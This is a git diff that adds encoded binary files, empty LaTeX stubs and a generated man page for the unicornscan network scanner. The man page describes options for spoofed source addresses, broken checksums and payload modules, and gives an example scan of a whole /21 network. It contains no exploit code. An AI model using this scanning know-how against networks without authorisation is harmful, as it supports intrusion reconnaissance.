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 R!i~V~|38|Nt9I6#0s#2CW8we+ literal 0 HcmV?d00001 diff --git a/docs/unibrow_man.tex b/docs/unibrow_man.tex new file mode 100644 index 0000000..e69de29 diff --git a/docs/unicfgtst_man.tex b/docs/unicfgtst_man.tex new file mode 100644 index 0000000..e69de29 diff --git a/docs/unicornconf_man.tex b/docs/unicornconf_man.tex new file mode 100644 index 0000000..e69de29 diff --git a/docs/unicornscan.1 b/docs/unicornscan.1 new file mode 100644 index 0000000..4df5548 --- /dev/null +++ b/docs/unicornscan.1 @@ -0,0 +1,243 @@ +'\" t +.\" Manual page created with latex2man on Tue Dec 20 20:16:14 PST 2005 +.\" NOTE: This file is generated, DO NOT EDIT. +.de Vb +.ft CW +.nf +.. +.de Ve +.ft R + +.fi +.. +.TH "UNICORNSCAN" "1" "03/30/05" "Network Tools " "Network Tools " +.SH NAME + +.PP +unicornscan +Version 0.4.6b is a asynchronous network stimulus delivery/response recoring +tool. +.PP +.SH SYNOPSIS + +.PP +unicornscan +[\fB\-b, \-\-broken\-crc \fP\fIlayer\fP] +[\fB\-B, \-\-source\-port \fP\fIport\fP] +[\fB\-d, \-\-delay\-type \fP\fItype\fP] +[\fB\-D, \-\-no\-defpayload \fP] +[\fB\-e, \-\-enable\-module \fP\fImodules\fP] +[\fB\-E, \-\-proc\-errors \fP] +[\fB\-F, \-\-try\-frags \fP] +[\fB\-G, \-\-payload\-group \fP\fIgroup\fP] +[\fB\-h, \-\-help \fP] +[\fB\-H, \-\-do\-dns \fP] +[\fB\-i, \-\-interface \fP\fIinterface\fP] +[\fB\-I, \-\-immediate \fP] +[\fB\-j, \-\-ignore\-seq \fP\fIignore\fP] +[\fB\-l, \-\-logfile \fP\fIfile\fP] +[\fB\-L, \-\-packet\-timeout\fP\fIdelay\fP] +[\fB\-m, \-\-mode \fP\fImode\fP] +[\fB\-M, \-\-module\-dir \fP\fIdirectory\fP] +[\fB\-p, \-\-ports \fP\fIstring\fP] +[\fB\-P, \-\-pcap\-filter \fP\fIfilter\fP] +[\fB\-q, \-\-covertness \fP\fIcovertness\fP] +[\fB\-Q, \-\-quiet \fP] +[\fB\-r, \-\-pps \fP\fIrate\fP] +[\fB\-R, \-\-repeats \fP\fIrepeats\fP] +[\fB\-s, \-\-source\-addr \fP\fIaddress\fP] +[\fB\-S, \-\-no\-shuffle \fP] +[\fB\-t, \-\-ip\-ttl \fP\fITTL\fP] +[\fB\-T, \-\-ip\-tos \fP\fITOS\fP] +[\fB\-w, \-\-safefile \fP\fIfile\fP] +[\fB\-W, \-\-fingerprint \fP\fIfingerprint\fP] +[\fB\-v, \-\-verbose \fP] +[\fB\-V, \-\-version \fP] +[\fB\-z, \-\-sniff \fP] +[\fB\-Z, \-\-drone\-type \fP\fItype\fP] +\fItarget list\fP +.PP +.SH DESCRIPTION + +.PP +unicornscan: +\&.\&.\&. +.PP +.SH OPTIONS + +.TP +[\fB\-b, \-\-broken\-crc \fP\fILayer\fP] + Break CRC sums on the following layers. N and T are valid, and both may be used without separator, +so NT would indicate both Network and Transport layers are to have invalid checksums. +.TP +[\fB\-B, \-\-source\-port \fP\fIPort\fP] + Source port for sent packets, numeric value \-1 means to use a random source port (the default situation), +and other valid settings are 0 to 65535. normally this option will not be used, but sometimes it is useful to say +scan from port 53 into a network. +.TP +[\fB\-d, \-\-delay\-type \fP\fIType\fP] + Specify the timer used for pps calculations, the default is variable and will try and use something appropriate +for the rate you have selected. Note however, if available, the tsc timer and the gtod timer are very CPU intensive. +if you require unicornscan to not monopolize your system while running, consider using the sleep timer, normally 3. +it has been observed that the tsc timer and gtod timer are required for high packet rates, however this is highly +system dependent, and should be tested on each hardware/platform combination. The tsc timer may not be available +on every cpu. The sleep timer module is not recommended for scans where utmost accuracy is required. +.TP +[\fB\-D, \-\-no\-defpayload \fP] + Do not use default payloads when one cannot be found. +.TP +[\fB\-e, \-\-enable\-module \fP\fIList\fP] + A comma separated list of modules to activate (note: payload modules do not require explicit activation, as they are +enabled by default). an example would be `pgsqldb,foomod\&'\&. +.TP +[\fB\-E, \-\-proc\-errors \fP] + Enable processing of errors such as icmp error messages and reset+ack messages (for example). If this option is set +then you will see responses that may or may not indicate the presence of a firewall, or other otherwise missed +information. +.TP +[\fB\-F, \-\-try\-frags \fP] + It is likely that this option doesn\&'t work, don\&'t bother using it until it is fixed. +.TP +[\fB\-G, \-\-payload\-group \fP\fIGroup\fP] + activate payloads only from this numeric payload group. The default payload group is 1. +.TP +[\fB\-h, \-\-help \fP] + if you don\&'t know what this means, perhaps you should consider not using this program. +.TP +[\fB\-H, \-\-do\-dns \fP] + Resolve dns hostnames before and after the scan (but not during, as that would likely cause superfluous spurious +responses during the scan, especially if udp scanning). the hosts that will be resolved are (in order of resolution) +the low and high addresses of the range, and finally each host address that replied with something that would be +visible depending on other scan options. This option is not recommended for use during scans where utmost accuracy +is required. +.TP +[\fB\-i, \-\-interface \fP\fIInterface\fP] + string representation of the interface to use, overriding automatic detection. +.TP +[\fB\-I, \-\-immediate \fP] + Display results immediately as they are found in a sort of meta report format (read: terse). This option is not +recommended for use during scans where the utmost accuracy is required. +.TP +[\fB\-j, \-\-ignore\-seq \fP\fIType\fP] + A string representing the intended sequence ignorance level. This affects the tcp header validity checking, normally +used to filter noise from the scan. If for example you wish to see reset packets with an ack+seq that is not set +or perhaps intended for something else appropriate use of this option would be R. A is normally used for more exotic +tcp scanning. normally the R option is associated with reset scanning. +.TP +[\fB\-l, \-\-logfile \fP\fIFile\fP] + Path to a file where flat text will be dumped that normally would go to the users terminal. A limitation of this option +currently is that it only logs the output of the `Main\&' thread and not the sender and receiver. +.TP +[\fB\-L, \-\-packet\-timeout \fP\fISeconds\fP] + Numeric value representing the number of seconds to wait before declaring the scan over. for connect scans sometimes +this option can be adjusted to get more accurate results, or if scanning a high\-latency target network; for example. +.TP +[\fB\-m, \-\-mode \fP\fIMode\fP] + String representation of the desired scanning mode. Correct usage includes U, T, A and sf for Udp scanning, Tcp scanning, Arp scanning, and Tcp Connect scanning respectively. +.TP +[\fB\-M, \-\-module\-dir \fP\fIDirectory\fP] + Path to a directory containing shared object `modules\&' for unicornscan to search. +.TP +[\fB\-p, \-\-ports \fP\fIPorts\fP] + A global list of ports to scan, can be overridden in the target specification on a per target basis. +.TP +[\fB\-P, \-\-pcap\-filter \fP\fIFilter\fP] + A pcap filter string to add to the listeners default pcap filter (that will be associated with the scan mode being used). +.TP +[\fB\-c, \-\-covertness \fP\fILevel\fP] + Numeric option that currently does nothing, except look cool. +.TP +[\fB\-Q, \-\-quiet \fP] + This option is intended to make unicornscan play the `quiet game\&'\&. If you are unfamiliar with its rules, consult with +someone else who finds you irritating. +.TP +[\fB\-r, \-\-pps \fP\fIRate\fP] + This is arguably the most important option, it is a numeric option containing the desired packets per second for the +sender to use. choosing a rate too high will cause your scan results to be incomplete. choosing a rate too low will +likely make you feel as though you are using nmap. +.TP +[\fB\-R, \-\-repeats \fP\fITimes\fP] + The number of times to completely repeat the senders workload, this option is intended to improve accuracy during +critical scans, or with scans going over a highly unreliable network. +.TP +[\fB\-s, \-\-source\-addr \fP\fIAddress\fP] + The address to use to override the listeners default interfaces address. using this option often necessitates using +the helper program \fIfantaip\fP(1) +to make sure the replies are routed back to the interface the listener has open. +.TP +[\fB\-S, \-\-no\-shuffle \fP] + \&.\&. +.TP +[\fB\-t, \-\-ip\-ttl \fP\fINumber\fP] + \&.\&. +.TP +[\fB\-T, \-\-ip\-tos \fP\fINumber\fP] + \&.\&. +.TP +[\fB\-w, \-\-savefile \fP\fIFile\fP] + \&.\&. +.TP +[\fB\-W, \-\-fingerprint \fP\fIType\fP] + \&.\&. +.TP +[\fB\-v, \-\-verbose \fP] + \&.\&. +.TP +[\fB\-V, \-\-version \fP] + \&.\&. +.TP +[\fB\-z, \-\-sniff \fP] + \&.\&. +.TP +[\fB\-Z, \-\-drone\-type \fP\fIType\fP] + \&.\&. +.PP +.SH EXAMPLES + +\fBunicornscan \-msf \-s 5.4.3.2 \-r 340 \-Iv \-epgsqldb www.domain.tld/21:80,8080,443,81\fP +runs unicornscan in connect mode with an apparent (to the target) source address of 5.4.3.2 at a rate +of 340 packets per second. results will be displayed as they are found \fI\-I\fP +and the output +will be verbose \fI\-v\fP\&. +The module `pgsqldb\&' will be activated \fI\-epgsqldb\fP +and +the target of this scan will be the /21 network that host www.domain.tld belongs to making attempts +to connect to port 80, 8080, 443 and 81. +.PP +.SH FILES + +.TP +unicorn.conf + The file containing the default configuration options for usage. +.TP +modules.conf + The default file for module parameters. +.TP +oui.txt + Contains the MAC prefix to vendor mapping used in Ethernet scanning. +.TP +payloads.conf + The default file for tcp and udp payloads. +.TP +ports.txt + The protocol/port number to name mapping. +.PP +.SH SEE ALSO + +\fIfantaip\fP(1) +\fIunicfgtst\fP(1) +\fIunicycle\fP(1) +\fIunibrow\fP(1) +\fIunicorn.conf\fP(5) +.PP +.SH REPORTING BUGS + +Report Bugs to osace\-users@lists.sourceforge.net +.PP +.SH COPYRIGHT + +(C)2004 Jack Louis \fBjack@rapturesecurity.org\fP +This is free software; see the source for copying conditions. There is NO warranty; not even for +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +.PP +.\" NOTE: This file is generated, DO NOT EDIT. diff --git a/docs/unicornscan.pdf b/docs/unicornscan.pdf new file mode 100644 index 0000000000000000000000000000000000000000..0f16c613f68aa56adbd716a89e3d54ee0b3db0e0 GIT binary patch literal 16148 zcmd731yqz>+xJZfNT-B|3Spn`<7B8`+ZNOviz(wzbV z()A8{d0$@l{XAt&{;igEC^cM$bT=d)yX4cpQ*v6+lq)hmc*+p5#rUDr`}TUm z!HWp<40K1+yX^SpzJqr7ceU>}xcjS{H{>7!q(J;{UZeGVF?Bippq9rWtb7sPjBS}m z5on4|iuc2z5_cp+Zf!$5%0yD)0>*)S*Tzvc>+Ld`QC?;rE6>+J#q0h&--7#<+&?BoV> zazlcy7DO8l(1szM-4RwWBnbS=pboQ!LuH)3KqfpW14J0Y%_}GX65fAf3Y|(i2+)Ojxq-}3tN$<8{D1iVH5Pd%)DD3=+2R3ma2p#Ks!LZRFhP|A6rqle zP(Tjm;06VB?O>=+HK?PdH54#}1DbF^2X2eHt>=P-J2*Q5nsz875)NoM!fc^{jSXM} z2W%Wr3DgC3wRU!MfFV)$|4P^cwg{*P41ij>yTJe}C<5ie5&=V59HCZM83d|NfE8*6 z9UP#5EezoZb+Wc}Kmt%0;EZ}99iT`%Kw2KqK)rrtknS!n2vi#Y%*)CF>Ik^HJG;S9 zbr5h{J2$||-O&<;K*DXEP+dUzL;x-@)M7cg0Z>O&3W;+6tH!V5E?0}=0JCueex`mI zp-9v>3yypMxHz~Y0W0UL>9O;6v4c5XIfFY}1HXFW14B3i&Q37E&C?lhvqQjOfDLME zpr!;hJ|x@=K%xff1i*fE42~*j<$N`VNSGu1SL)XgterhkrCi;i4ydldkZy2i)Q&`% zerEuv8z2qH0J4A_AP*=2ihvTJ45$FAfEu6<+ygWKO+X9K26O;jKo8Id3;;vG2rx!X zG}P(=47DJr;r*VapP9dI{2Hwl9AV||XyX9$x>_`-)z8WLS^Q^NC}0U#0oDL&Y=A9b z2fzV)-~r$OI08<9GvETa0tf&JxB>2f2jB^K0p5TQfZE|#%La4&d9ibMvV|ht9UY+V zZh#xy!5Riw!%;gB2}c6I7ZbI;g#m6SXE$q@4G1j210Y?XRV-b(;RaWD^fY~@$b&FW_##j@AI|y16!T4b^@oin2Db_4n6!K-U%&JPt zq_7C3ugoU#w(DmD!s07u$6|rv#kO04%l`hw8%Y1Hjg#pivN78mgkre2?W{1;-dxuU zu}61Nl~v5;Mbis$QC4kLwqwFlZDM>*QBH|AI`Rku8{IsJ_gYZ?gS=e(ygY<5rb|d5 z5AMd2I=b~7LNexlP%wScBYB3MAm*6)r~@mzjORkLoamwQIw5grn74>ZjOYWKVOxV4q$xpE91Z$X?oXxG5R3&k|^bNM%IIb?mK3eh%d4 zYstKxW+=8GlbeUBM21V#*IrFSppD5bh0Zxmu8#FdH_WPpEKLgf5-sw@BMfSch>cDW zJw0@uC$lS$&qyyA-{1z}di}5{#71v=32L$E`*P=K+d*AHU>ykI6$=?`1j$aFQt4tg zeX)41wQ(pYLlgBKWqa}+pZBfORpJakpHJ-~swZ-MHvMS3pZX?QE)~V7E}A?H!kVcq zPac#fEpzGnhVHg1fmAXBwKH*W(+DI`K?|LU?54)?F&j_i1&dWlq-cnO&LC^iYjg}1 z(Q%dv-fY%B)=L<8Bf>w-Tu)j5S<(rul$LYxX6p@)SL7Oz@uE&ssw*q6Y*HzS$0-?x z*MT%|r+R8>wc2AFPmxdlBI0iq+FY5Zc)fZo5aRX+_sy0zMujWv`ZC8izgEKFAN#YL&xGsB5;M~Yr&X1U1354@L=&&y*JSM~8 zrrmt0`zR;kMQo3kjb9}G?KaCKFXney(`xOkNl_93qMy%CpF?$N6KbOmH<|9VqT+7^5Z07t!P8i=bG`SIBozX|kLqMi^0V_X zL_Jw%Y!}qZ+^L3$m&U^+7hLM1$hLaV3MIDW9%p0Bd9Hu=0H!%(RFZEDJ6}_ZFu%|4 zI%&)|uc}V&I<*2&vb}0*Y4j)6iOwf(kSsGgd+D(o0VOnV)jDK-FmB`_=^XrMpvP8# zs+{%1>!-TouiwvKm-zHWn(2C>s5RvDY~kGCWEz$3nm*eE)sX5HPUha~Il ztnxc#-O4U)%dH_#)mvY>26pNNAM{XObQy5^o73M#ws55!u86%}o;MiN{1H}*R?%E+ z-m`NKPn;=&5Jl0d?Fl^-r=1+$HcoBr{-VO21TH4-`)Wv0gEbBJfle##>pMr+#jajt_GjDTl!Q!$O; zy6NZ6xI2B^rvW8Zm@QL+ByW~^sU@$~b!Ve%IA{lxlwaCA=6qDkZD)=QFxVLgAM|K^ zR@hi1rhds9Zvachk_dXb9|3taQ?*kvtYdyh-@oZcz~hTyeyclgyz9i$*eY&d=Wj(P z&y?5^LmqL9Mm0~qB$}BZ63#Xd_vq1_Qn6ZUuqg6Ki+z-5qMkl55iZ)9)Hhbc>$xUc zZwR(bxfixtH~rzk2QXLWHFX$E&mmuk=w6uqL)(*_uE&z&A13;>Uj;U3BPogOsK>O4 zDI2LVBaS|qr_DLIi+@lEvJNn>9*I2O6bUPkdZtM3I5w;*K3%xNa3rsYYb~nxl*$z` z`CRz4`KU$`n%z7QBeEZSu3M-pn|No`eUAL2s@E3wgz&}SnBRu;YmYd_H5% zYmC24Vm&e85&MR(NxN++OJiwo^JWctLW^G79s?zV`UQ_!Orl1~ZZ+-BY+vDuu_qwr zuEJQd1?H^k_vsuGeLsgC`7Wg*%+lC~1qN_@MH^|P6kB{*+n8O)F;K zI4ntoxg_24U90Gg8~|mlnjJFTk2oHouzZWPVd7zhZJVl$16I`bqV%*4SukgTg&FHU zt+*aHO-mDg8b%RE#k~r8l!f*Fy@WfYPJooJC##b4?U)e`ZmUt>M^hD=r^+Z&N0A4I}so1zTwt!{_f?+H-EJqaz7n^*Sf^7)$r< z&?V!Y1bgva%kK&-69J1Ksg2&)+c~ld>u?G4P4&ecf;CDJ4u$ zf#(U$MaUYw5{kjox&Ib$^rmtja}CKn(wOK_%aiq2po4`EtO7u$Z%WbzgIl_5!qK%5lLAKn78Tv-t>_+*u zLIQRJW!2FSo3dtZ5BHOk3pW%@f3x?CMW$3P$r7<<)+fH|yz{JeA(K8W+@jH|(ct6U z!q+z{#G1Ux#zLAE*@$vo8T9-D#-5W8jDSXuyX51?3iHs?s?z#dBe|uo1;j=CQwg6r z>?=73*HSl6?ZYT1m}ajl~oi zLoM;OURZqL1``YE5qGLhjX;fcz(dGWr7EYFNZ}cV#8E$UVhnOwJW0KgA6=_{ml@t6 z(G5%~9MU&fZ0wERkN8u5Oig@9Kk&-=u9+H6mE1nHXUNiQjMK~(H&wf;zYrIhxAy}s z%`dx&u**Y&t#X?HGdtQ+xHf;0eH9pSth#;JsmpIu^Q=C7w};aCVV~|3p3lC_S$zrE z%UzLVR(C}mUG{ofv}608c^K!{z%33&2qUn>`kmb>vI6BOu?ZfCW9&YqFdgu$8$5HwXn<7`cITyY@7ZT`wce}j24^--!bbik3H!x z{Kj%PLVLq2{E2r`R~^FMX6M**Bx}BgSyA3;Iu@?ndjUG<79`pqRK`bWT(iX{46TXhHx;L z7VKHIiTUo`3mbF{@ANyIuz|ybIMYtLIfrleod<7>?s;kdh>^AC4}?TMA50ftKUY%t z)}nv7(QeyX&5E~p*srQkGMDjaacwzSH;<@F-7{8Dqw@JTh}n_}v-%I;H{l=Z7Nd#o z4cSGs^jXz?mex?>it%%@Hc;^!Kkif>{LFk`!kN;R=v=?hpLlba6~|JMQ`5t#(e`43JM* z0=U}NWoT}1$=T$r0SPJl-(+^j3FAkS%@QT?pxgeQ&ED=zdbnD}=BGYPIayafL z3|D~HgQL@TIJcwR>|+Bpi=(}q>GP~6&}A$A=S%#vbP}n#PfBE=vyYjM5$9Bn`M$LO zLEe6%t=}l@7p}SjVt9a#yQSMt5_e?;;{m@R76^O=xKJ!k0ggbr$=X2?ApWb}=Zgwb02l-W028x9J#B6}Jp}LWbGKZ|Xj3F3xjJ`6;!H`x6xQm-J0tCK- zc-nu$v@65!-bo{`@CZmi7}cCC)J5qh+W`p(381(d%E#3`F7VaOE3fyUjwp)wZ_O#Y zK^@>$(oVJxFc1%Fh;A@PeN>~uc!1$w-uSP^a#dgECsgEu@PW8^At(X}<`V`9LU>S2 z5e0p1k)W$SpvHcM0$KmURKIBy6vb>{KWWV`PV@3A0ov2KPM`1v6uc6om@s_ zUsX6##|o{&O7ET;e|`TLnb7a?81I4SLoc9#VQQ&%hn4VM)yHa_8H++!8+cT9U~0}RTw#cxE{^Ks8vW6*U? zr8tLf2V=XDZVhDMe{H=Tj1dVwQ2LaLhOVp0+O*n9cLAM<|Q%KGU&iTeKTbbA8#~16O-nQzJ*7^^q2ypimpJ&lFc#-Ln z_Voq4Xf0S~jlneF%cb2=;4Mbe=d3M(H}0F7icd;&W;}I8D_sqYPYMpS9mb-2ew+JJ zY}8dTV+_b&sYQ?2)<&J#O zxN^MLhZZbXXTef^fjHMXi-k76nxx|-BQ}&~&}5A?Rl2x1P1u)A%L=aS6aoz{hCYwM zCNbm;X_A^I;8jMK;6aPL#c1Jj*+m6S_rG z)mdE)3g8$Ds^;*vqkcRS!wK3Vv;;R|2}|92h#go;K|$hqc;e43@6rC^@*@y`hi?`4 zO(5Hlwfqv*3o7|DPYmI*x^o~zx;v{&@_EYk7`;-1&nYpJqWrnSE=il&r4)ku8~qU@ z%I@KDiP=4HTXIM8@w@yd&8OkYE$CoeHfj(H2Y#25^!C}I2s!^yKjw%Qizg0V+>3{o zx|`x9h9sL8dz*K*2OGbVDo=}$v^_i^XqBZtRSm8pV}F=_47Wa59KNoTFY+OLjH6(? zSlr{Xl~G0a-l?A89B$0<)}Hmj0+Js|Ro{@_8v6O@riXpewENS0x5N_n>V*@&nYj=6 zi5n&GZ1lWG2EM4NMchX!KhbVyF76#%B?N6LQ>{3D=;KJ=(l!YR-f91tZT;)#sxJm1YEd{7PIvu%`kJHq8&6)o z6AFJgG`3pQd^jM>&1&2B@VX=EQD}Hy*UNl^8BhF(c@^=PIE=xF)!^PX>PO`rs?(hh zH+5|Ndv(r1haK1<(^(dKF+tCl5jw6`wm&$h(KHnEbv!_CHnJC1@jhf3EPJx06RYYU z4cKNMPE+#x6=yyZT`zNo_m!SJ@RRTA^n!e$Gr6|Fa?@p~bzuIs%(RT#Oy#Wy~Y_a`ETx-fcGZB~Kzp{PTA~twX zc~gCVAT(g_9ztuxQ`N7)EtKflbg7V<%#RN7;k4sf{JPG4A?}G#(KZ!ka8EL0>*Q!g z>3&LDl5#~~Z8wQ>Hb=mD?JyCtgM1lOziCsB;lSMu0X#_L|@5wF*q6M)-PA~#6MAZ;>LyKePA)U@p0 zTO6+IRcWwL&$^~qX%BdR9`~9;wB`a-Tbz~xhcmXykCmsJ+U{75Fk<@mtApq zPF5^~$a+Yn!fMshu%4zSHvY0}iO?)M^tqvG;(DdMad1EUqe3@@;gXCyuKDKCyUbBu z&y4V#&gy)bd5h^ECi&7G_MD5t0t(vx(y^R1SwKreyq?bih%pwO^24^N7>WX<0M=@Ig?Q!4|p>s|T%u#cZ6RN@}B zMm%}hW7A9LlU|5(n`0ifmBmJvZ@X|q~-#f(jXJt zqh48D)w=Dm^H!D?y@w3BIc*ql#z*jZ)rP3cWmnaS9052lDTbE?V85eSPd8T0Ic(ee-+EluUMR@V9y5p4rpDI~ zGZJPnKZz^d8I0t-%Yw`8x}m;V_i-phd}(|6DEn6NTiR_9{GTuC1eFse9&wK!kYk3xTE)}8_xqTi z-RQtJUBcHE!Ohxh7ug7R#dP6kOLFa6Zg&;I>J9qZM)y6w>q4vBSi=MPZi{; z6wu`;6Wrw-+%l$rTdng^>%@#uoW?VKu+jkh@U4E4@@5AS@GO<1bGsxa`^eQ}_kn!| zD93y(S?|4}NzJa<(7iyr^tFBggN9X}OG@_x;)V~`e3vnlK26-|E`KqLQ$?`rN!Z9I zxMQ3Mp$tD}ihsLAl-d{Zt$dYE@lHPFS?GE0(E9whGsS0d_m-gLX0k`>{vEP2Jsej3 zAdAHF$x4=6y!_^qg^46@)6trQm=tEjOChtM+IOf z{w}p6bSf925>WV9pB%IK?h_ygagJ`R2H}fH6?xu%U#TS!XK5%S?$##NcfZ%Oh^Afw zpUA_CjEax8!{1Ug%)RdHByGL*u)j~3s7nS8BX@22lUbomnP+XY*we!)v zj#I~1iEl-@&2ZkUJM||jOY2qXR-^HQnL3KS z{&@@+S{d%NPhD@m^Ofsbw}E6upFfyqtkIP?8&iAqtczBEDY&jDr$~gKiKfCn#*+Ok zC#s}gq!lYl)l)?$c4J%4IRE??T$La^UU zusDiEXeD;LUpB4B&^bsrtb33Tj_;d>Sx3c(?$Ig`&eGH$GGJ|aPZWwHKjB%QnvJQP zxutiAkuWzcjFRQ1SE)*iECCjItuJoYSzd?2mGe`%mV~@NwlQe8 z*{2b*8Z~>THe`x^&Y2P|#Q}*lI(^m3qW=b8m|U zH?6YQljg0{u+KA(E3y1Z5PIfKsSjeL)jN}MbY=~JDeFheiq5~o`ly&$5bIon6)OMZ ziRST&Rk1QGQu70Sv5J#DL&|Xw-rPJ5p~6Bnm61qAv7|-*WHk3nsg7IJWAEdYWbEX1 zt=f4_R5l{kUTE&W`h0*T?JNBnc*F4Ow)tVRI93{EA?R&!Q?6DWgUd`Sna2VW$0~9i zXRVxoNTu5`HuL?hLU^z{jsdenAK3%;2Ltc-Gt;j>SRi07Yh3ZuC7=A@XDRh^q08T3 zJxMvE5$q&GB%zz(0)1ev!S40$i9U47s}IyW;~4B%r|`h*QKc1==O$W`Fh7`N#BDl! znPASG9>$2=Bd;qNp{g+=2G{hg-J3JRYzI5UvOJL7d<7}7e^LJ9j(jYq(`v8@Y+Rcn z<=MRv`Xc$PhN_hU5Ho5SF+w$*5H17;D#@0@%6iAXoAQ@%#3mLJyZF0Je@kzm~lHcZVuB`f{v0x zQNY$XBz;DFd9(LZV(+^XykX3$O2^ouuvf3KMLC^~G5O0`Bc@wp>hYO&mOID1&q|Xq 